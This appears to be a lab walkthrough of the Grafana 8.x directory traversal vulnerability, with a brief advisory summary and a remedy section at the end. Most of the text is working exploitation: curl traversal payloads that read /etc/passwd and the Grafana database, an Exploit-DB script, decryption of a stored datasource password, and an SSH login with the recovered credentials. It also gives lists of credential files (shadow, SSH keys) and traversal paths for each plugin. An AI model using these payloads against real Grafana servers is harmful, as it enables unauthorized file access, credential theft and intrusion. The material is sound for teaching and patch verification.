Grafana is an open-source platform for monitoring and observability. Grafana versions 8.0.0-beta1 through 8.3.0 (except for patched versions) iss vulnerable to directory traversal, allowing access to local files. The vulnerable URL path is: `<grafana_host_url>/public/plugins//`, where is the plugin ID for any installed plugin. At no time has Grafana Cloud been vulnerable. Users are advised to upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.

Every Grafana instance comes with pre-installed plugins like the Prometheus plugin or MySQL plugin so the following URLs are vulnerable for every instance:

  • <grafana_host_url>/public/plugins/alertlist/
  • <grafana_host_url>/public/plugins/annolist/
  • <grafana_host_url>/public/plugins/barchart/
  • <grafana_host_url>/public/plugins/bargauge/
  • <grafana_host_url>/public/plugins/candlestick/
  • <grafana_host_url>/public/plugins/cloudwatch/
  • <grafana_host_url>/public/plugins/dashlist/
  • <grafana_host_url>/public/plugins/elasticsearch/
  • <grafana_host_url>/public/plugins/gauge/
  • <grafana_host_url>/public/plugins/geomap/
  • <grafana_host_url>/public/plugins/gettingstarted/
  • <grafana_host_url>/public/plugins/grafana-azure-monitor-datasource/
  • <grafana_host_url>/public/plugins/graph/
  • <grafana_host_url>/public/plugins/heatmap/
  • <grafana_host_url>/public/plugins/histogram/
  • <grafana_host_url>/public/plugins/influxdb/
  • <grafana_host_url>/public/plugins/jaeger/
  • <grafana_host_url>/public/plugins/logs/
  • <grafana_host_url>/public/plugins/loki/
  • <grafana_host_url>/public/plugins/mssql/
  • <grafana_host_url>/public/plugins/mysql/
  • <grafana_host_url>/public/plugins/news/
  • <grafana_host_url>/public/plugins/nodeGraph/
  • <grafana_host_url>/public/plugins/opentsdb
  • <grafana_host_url>/public/plugins/piechart/
  • <grafana_host_url>/public/plugins/pluginlist/
  • <grafana_host_url>/public/plugins/postgres/
  • <grafana_host_url>/public/plugins/prometheus/
  • <grafana_host_url>/public/plugins/stackdriver/
  • <grafana_host_url>/public/plugins/stat/
  • <grafana_host_url>/public/plugins/state-timeline/
  • <grafana_host_url>/public/plugins/status-history/
  • <grafana_host_url>/public/plugins/table/
  • <grafana_host_url>/public/plugins/table-old/
  • <grafana_host_url>/public/plugins/tempo/
  • <grafana_host_url>/public/plugins/testdata/
  • <grafana_host_url>/public/plugins/text/
  • <grafana_host_url>/public/plugins/timeseries/
  • <grafana_host_url>/public/plugins/welcome/
  • <grafana_host_url>/public/plugins/zipkin/

Affected Products

  • All installations between v8.0.0-beta1 and v8.3.0 should be upgraded as soon as possible.
  • Grafana Grafana 8.0.0
  • Grafana Grafana 8.3.0

Enumeration

1. We can reach the log in screen and find out about the Grafana version, in our case this is using port 3000 (Version v8.3.0 (914fcedb72))

  • http://192.168.227.181:3000/login

2. Using curl we can also query the /login page

  • curl http://192.168.227.181:3000/login | grep "Grafana v"

Exploit (Script)

1. Having identified the version of the application, we can confirm if this application is vulnerable, we will use an automated exploit (https://www.exploit-db.com/exploits/50581) , I will download it using searchsploit

  • searchsploit grafana
  • searchsploit -m multiple/webapps/50581.py

2. Now, we can try to use the script to read files

  • python 50581.py -H http://192.168.227.181:3000
  • /etc/passwd

3. We can try all the known readable config files to find interesting information. At this point we will try to find Grafana config files, based on their documentation (https://github.com/grafana/grafana/blob/main/conf/defaults.ini) , /etc/grafana/grafana.ini seems to be interesting, since it can hold user/password info under Security section

  • python 50581.py -H http://192.168.227.181:3000
  • /etc/grafana/grafana.ini

Exploit (Manual)

1. We can use curl to read files

  • curl --path-as-is http://192.168.227.181:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

2. We can try to read a database file and store it in our PC, this is grafana database

  • curl --path-as-is http://192.168.227.181:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
  • ls -l grafana.db

3. Now we can use sqlite3 to read this database file, there is a data_source table that holds user information

  • sqlite3 grafana.db
  • .tables
  • select * from data_source;

Note: Data sources store passwords and basic auth passwords in secureJsonData encrypted (AES-256 in CFB mode) by default.

4. Having the Password & Username, we can proceed to decrypt it

  • basicAuthPassword":"anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
  • sysadmin

Decrypt the password using a script

1. We can now decrypt the password using a script found on the internet (https://github.com/jas502n/Grafana-CVE-2021-43798)

  • git clone https://github.com/jas502n/Grafana-CVE-2021-43798.git
  • cd Grafana-CVE-2021-43798
  • ls

2. Try to run the script, if you run into errors, it might indicate you need to install dependencies

  • go run AESDecrypt.go
  • go env -w GO111MODULE=off
  • go run AESDecrypt.go

3. As we got the error (cannot find package "golang.org/x/crypto/pbkdf2" in any of), we will try to install pbkdf2

  • go get golang.org/x/crypto/pbkdf2

4. Now try to run the application

  • go run AESDecrypt.go

5. Since the script includes variables with default values we need to change those to match our credentials:

  • secret_key (found in /etc/grafana/grafana.ini) = SW2YcwTIb9zpOOhoPsMm
  • dataSourcePassword (found in /var/lib/grafana/grafana.db) = anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

6. Edit the script

  • vi AESDecrypt.go

7. Run the script again, the results should be the decrypted password

  • go run AESDecrypt.go

8. (EXTRA) The result is SuperSecureP@ssw0rd, we can try using this password and the user (found in /var/lib/grafana/grafana.db) to SSH this host

  • ssh sysadmin@192.168.171.181

(EXTRA) Interesting folder/file for LFI

  • /conf/defaults.ini
  • /etc/grafana/grafana.ini
  • /etc/passwd
  • /etc/shadow
  • /home/grafana/.bash_history
  • /home/grafana/.ssh/id_rsa
  • /root/.bash_history
  • /root/.ssh/id_rsa
  • /usr/local/etc/grafana/grafana.ini
  • /var/lib/grafana/grafana.db
  • /proc/net/fib_trie
  • /proc/net/tcp
  • /proc/self/cmdline

these are directories, FUZZING them can help discover plugins)

  • /usr/share/grafana/public/app/plugins/datasource
  • /usr/share/grafana/public/app/plugins/

(EXTRA) Different ways to exploit LFI

  • /public/plugins/alertGroups/../../../../../../../../etc/passwd
  • /public/plugins/alertlist/../../../../../../../../etc/passwd
  • /public/plugins/alertmanager/../../../../../../../../etc/passwd
  • /public/plugins/annolist/../../../../../../../../etc/passwd
  • /public/plugins/barchart/../../../../../../../../etc/passwd
  • /public/plugins/bargauge/../../../../../../../../etc/passwd
  • /public/plugins/canvas/../../../../../../../../etc/passwd
  • /public/plugins/cloudwatch/../../../../../../../../etc/passwd
  • /public/plugins/dashboard/../../../../../../../../etc/passwd
  • /public/plugins/dashlist/../../../../../../../../etc/passwd
  • /public/plugins/debug/../../../../../../../../etc/passwd
  • /public/plugins/elasticsearch/../../../../../../../../etc/passwd
  • /public/plugins/gauge/../../../../../../../../etc/passwd
  • /public/plugins/geomap/../../../../../../../../etc/passwd
  • /public/plugins/gettingstarted/../../../../../../../../etc/passwd
  • /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
  • /public/plugins/grafana/../../../../../../../../etc/passwd
  • /public/plugins/graph/../../../../../../../../etc/passwd
  • /public/plugins/graphite/../../../../../../../../etc/passwd
  • /public/plugins/heatmap/../../../../../../../../etc/passwd
  • /public/plugins/histogram/../../../../../../../../etc/passwd
  • /public/plugins/influxdb/../../../../../../../../etc/passwd
  • /public/plugins/jaeger/../../../../../../../../etc/passwd
  • /public/plugins/live/../../../../../../../../etc/passwd
  • /public/plugins/logs/../../../../../../../../etc/passwd
  • /public/plugins/loki/../../../../../../../../etc/passwd
  • /public/plugins/mixed/../../../../../../../../etc/passwd
  • /public/plugins/mssql/../../../../../../../../etc/passwd
  • /public/plugins/mysql/../../../../../../../../etc/passwd
  • /public/plugins/news/../../../../../../../../etc/passwd
  • /public/plugins/nodeGraph/../../../../../../../../etc/passwd
  • /public/plugins/opentsdb/../../../../../../../../etc/passwd
  • /public/plugins/piechart/../../../../../../../../etc/passwd
  • /public/plugins/pluginlist/../../../../../../../../etc/passwd
  • /public/plugins/postgres/../../../../../../../../etc/passwd
  • /public/plugins/prometheus/../../../../../../../../etc/passwd
  • /public/plugins/stat/../../../../../../../../etc/passwd
  • /public/plugins/state-timeline/../../../../../../../../etc/passwd
  • /public/plugins/status-history/../../../../../../../../etc/passwd
  • /public/plugins/table-old/../../../../../../../../etc/passwd
  • /public/plugins/table/../../../../../../../../etc/passwd
  • /public/plugins/tempo/../../../../../../../../etc/passwd
  • /public/plugins/testdata/../../../../../../../../etc/passwd
  • /public/plugins/text/../../../../../../../../etc/passwd
  • /public/plugins/timeseries/../../../../../../../../etc/passwd
  • /public/plugins/welcome/../../../../../../../../etc/passwd
  • /public/plugins/xychart/../../../../../../../../etc/passwd
  • /public/plugins/zipkin/../../../../../../../../etc/passwd

Remedy

Upgrade to the latest version of Grafana (8.0.7, 8.1.8, 8.2.7, 8.3.1 or later). If you cannot upgrade, running a reverse proxy in front of Grafana that normalizes the PATH of the request will mitigate the vulnerability.

Resources

https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p

https://packetstormsecurity.com/files/165221

https://exchange.xforce.ibmcloud.com/vulnerabilities/214666

https://www.exploit-db.com/exploits/50581

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/